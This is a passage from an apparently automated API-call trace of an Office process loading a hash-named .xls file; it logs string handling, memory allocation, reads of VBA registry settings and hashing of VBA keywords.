lpString2="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" [0074.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa37c7c0, cbMultiByte=-1, lpWideCharStr=0x1f4670, cchWideChar=95 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 95 [0074.533] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.533] wcscpy_s (in: _Destination=0x1f4416, _SizeInWords=0x105, _Source="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" | out: _Destination="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.533] wcsncpy_s (in: _Destination=0x1f4030, _SizeInWords=0x108, _Source="*\\Z005c6a74e9", _MaxCount=0x106 | out: _Destination="*\\Z005c6a74e9") returned 0x0 [0074.533] CharLowerBuffW (in: lpsz="*\\Z005c6a74e9", cchLength=0xd | out: lpsz="*\\z005c6a74e9") returned 0xd [0074.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005c6a74e9", cchWideChar=14, lpMultiByteStr=0x1f3f60, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005c6a74e9", lpUsedDefaultChar=0x0) returned 14 [0074.533] _wcsicmp (_String1="*\\Z005c6a74e9", _String2="*\\Z005c6a74e9") returned 0 [0074.533] wcsncpy_s (in: _Destination=0x1f4030, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.534] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchLength=0x61 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x61 [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0xc4) returned 0x6650b40 [0074.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchWideChar=98, lpMultiByteStr=0x6650b40, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpUsedDefaultChar=0x0) returned 98 [0074.534] IMalloc:Free (This=0x7fefe465380, pv=0x6650b40) [0074.534] wcscpy_s (in: _Destination=0x677c080, _SizeInWords=0x62, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.534] wcsncpy_s (in: _Destination=0x1f4030, _SizeInWords=0x108, _Source="*\\Z005c6a74e9", _MaxCount=0x106 | out: _Destination="*\\Z005c6a74e9") returned 0x0 [0074.534] CharLowerBuffW (in: lpsz="*\\Z005c6a74e9", cchLength=0xd | out: lpsz="*\\z005c6a74e9") returned 0xd [0074.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005c6a74e9", cchWideChar=14, lpMultiByteStr=0x1f3f60, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005c6a74e9", lpUsedDefaultChar=0x0) returned 14 [0074.534] _wcsicmp (_String1="*\\Z005c6a74e9", _String2="*\\Z005c6a74e9") returned 0 [0074.534] wcsncpy_s (in: _Destination=0x1f4070, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.534] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchLength=0x61 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x61 [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0xc4) returned 0x6650b40 [0074.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchWideChar=98, lpMultiByteStr=0x6650b40, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpUsedDefaultChar=0x0) returned 98 [0074.534] IMalloc:Free (This=0x7fefe465380, pv=0x6650b40) [0074.534] wcscpy_s (in: _Destination=0x6378210, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0x84) returned 0x61c5490 [0074.534] wcscpy_s (in: _Destination=0x61c5500, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0xb8) returned 0xb708120 [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0xb8) returned 0xb707fa0 [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x6755670 [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x6756b40 [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x67558c0 [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0x28) returned 0xb7e4ea0 [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0x10) returned 0x48536a0 [0074.534] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x1f390c, cchData=6 | out: lpLCData="1252") returned 5 [0074.534] atoi (_Str="1252") returned 1252 [0074.534] GetLocalTime (in: lpSystemTime=0x1f3900 | out: lpSystemTime=0x1f3900*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x25, wMilliseconds=0xa3)) [0074.534] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0x61c52e0 [0074.535] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6649fb0 [0074.535] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0x61c5250 [0074.535] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0xb7e4e10 [0074.535] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0x61c51c0 [0074.535] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6649fc0 [0074.535] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6649fd0 [0074.535] strcpy_s (in: _Dst=0x1f36e0, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0 [0074.535] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0 [0074.535] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7fee5fbd500, lpdwDisposition=0x0 | out: phkResult=0x7fee5fbd500*=0x4cc, lpdwDisposition=0x0) returned 0x0 [0074.535] RegQueryValueExA (in: hKey=0x4cc, lpValueName="RequireDeclaration", lpReserved=0x0, lpType=0x1f37b8, lpData=0x1f37b0, lpcbData=0x1f37b4*=0x4 | out: lpType=0x1f37b8*=0x0, lpData=0x1f37b0*=0xea, lpcbData=0x1f37b4*=0x4) returned 0x2 [0074.535] RegQueryValueExA (in: hKey=0x4cc, lpValueName="CompileOnDemand", lpReserved=0x0, lpType=0x1f37b8, lpData=0x1f37b0, lpcbData=0x1f37b4*=0x4 | out: lpType=0x1f37b8*=0x0, lpData=0x1f37b0*=0x0, lpcbData=0x1f37b4*=0x4) returned 0x2 [0074.535] RegQueryValueExA (in: hKey=0x4cc, lpValueName="NotifyUserBeforeStateLoss", lpReserved=0x0, lpType=0x1f37b8, lpData=0x1f37b0, lpcbData=0x1f37b4*=0x4 | out: lpType=0x1f37b8*=0x0, lpData=0x1f37b0*=0x1, lpcbData=0x1f37b4*=0x4) returned 0x2 [0074.535] RegQueryValueExA (in: hKey=0x4cc, lpValueName="BackGroundCompile", lpReserved=0x0, lpType=0x1f37b8, lpData=0x1f37b0, lpcbData=0x1f37b4*=0x4 | out: lpType=0x1f37b8*=0x0, lpData=0x1f37b0*=0x0, lpcbData=0x1f37b4*=0x4) returned 0x2 [0074.535] RegQueryValueExA (in: hKey=0x4cc, lpValueName="BreakOnAllErrors", lpReserved=0x0, lpType=0x1f37b8, lpData=0x1f37b0, lpcbData=0x1f37b4*=0x4 | out: lpType=0x1f37b8*=0x0, lpData=0x1f37b0*=0xff, lpcbData=0x1f37b4*=0x4) returned 0x2 [0074.535] RegQueryValueExA (in: hKey=0x4cc, lpValueName="BreakOnServerErrors", lpReserved=0x0, lpType=0x1f37b8, lpData=0x1f37b0, lpcbData=0x1f37b4*=0x4 | out: lpType=0x1f37b8*=0x0, lpData=0x1f37b0*=0x0, lpcbData=0x1f37b4*=0x4) returned 0x2 [0074.536] RegCloseKey (hKey=0x4cc) returned 0x0 [0074.536] IMalloc:Alloc (This=0x7fefe465380, cb=0xc0) returned 0x6650a70 [0074.536] IMalloc:Alloc (This=0x7fefe465380, cb=0xc0) returned 0x6650b40 [0074.536] IMalloc:Alloc (This=0x7fefe465380, cb=0x1300) returned 0x64864f0 [0074.536] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5560000 [0074.536] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x56b0000 [0074.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0074.537] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x56f0000 [0074.538] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0074.538] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5700000 [0074.538] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5710000 [0074.538] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5720000 [0074.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464 [0074.539] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5730000 [0074.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0074.539] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="") returned 0x10c0b3 [0074.539] IMalloc:Alloc (This=0x7fefe465380, cb=0x420) returned 0x57e86b0 [0074.552] GetProcAddress (hModule=0x7fee5960000, lpProcName=0x7fee5f90558) returned 0x7fee596f200 [0074.553] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x5740000 [0074.553] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x5750000 [0074.558] IMalloc:Alloc (This=0x7fefe465380, cb=0x420) returned 0x57e8b00 [0074.558] CExposedStream::AddRef () returned 0x2 [0074.558] CExposedStream::Release () returned 0x1 [0074.558] CExposedStream::Release () returned 0x0 [0074.558] IMalloc:Free (This=0x7fefe465380, pv=0x57e8b00) [0074.558] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0074.558] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x5790000 [0074.559] VirtualAlloc (lpAddress=0x5750000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5750000 [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0074.559] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b [0074.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0074.561] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0074.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0074.563] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0074.563] LHashValOfNameSysA 